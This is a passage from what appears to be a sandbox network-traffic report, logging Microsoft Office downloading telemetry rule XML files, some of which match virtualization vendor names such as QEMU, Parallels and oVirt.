3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:24 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003824Z-1866b5c5fbbpxkkxhC1DFWhvmc00000003wg000000005f58 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:25 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003825Z-16547b76f7fpdsp9hC1DFW8f50000000011g00000000p44v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:25 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:25 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:25 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003825Z-1866b5c5fbbr78bbhC1DFWqz2n00000003qg00000000870u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 00:38:25 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:25 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:25 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003825Z-16547b76f7fk9g8vhC1DFW825400000004c0000000003xpt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:25 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:25 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:25 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 96c88eee-b01e-005c-317c-364c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003825Z-164f84587bfbvgrghC1DFWbs7w00000003fg00000000c77v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:25 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:25 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003825Z-16547b76f7ftfv4jhC1DFWuhug000000011000000000sc6k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:26 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:26 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003826Z-1866b5c5fbbbdsw4hC1DFWh1a000000000d0000000002zkv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:26 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:26 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003826Z-1866b5c5fbbfkdfghC1DFW4sv400000002q00000000065qv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:26 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003826Z-16547b76f7fmcv27hC1DFWgpcg00000002b000000000bqcz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:26 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003826Z-16547b76f7f5b5tthC1DFWuk84000000022000000000ngp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 00:38:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:26 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003826Z-16547b76f7fsq6p7hC1DFWfx6800000001y000000000kkg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:27 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ccc5299a-501e-000a-5c21-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003827Z-164f84587bf6h2bxhC1DFWbcm800000003u0000000004ngk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
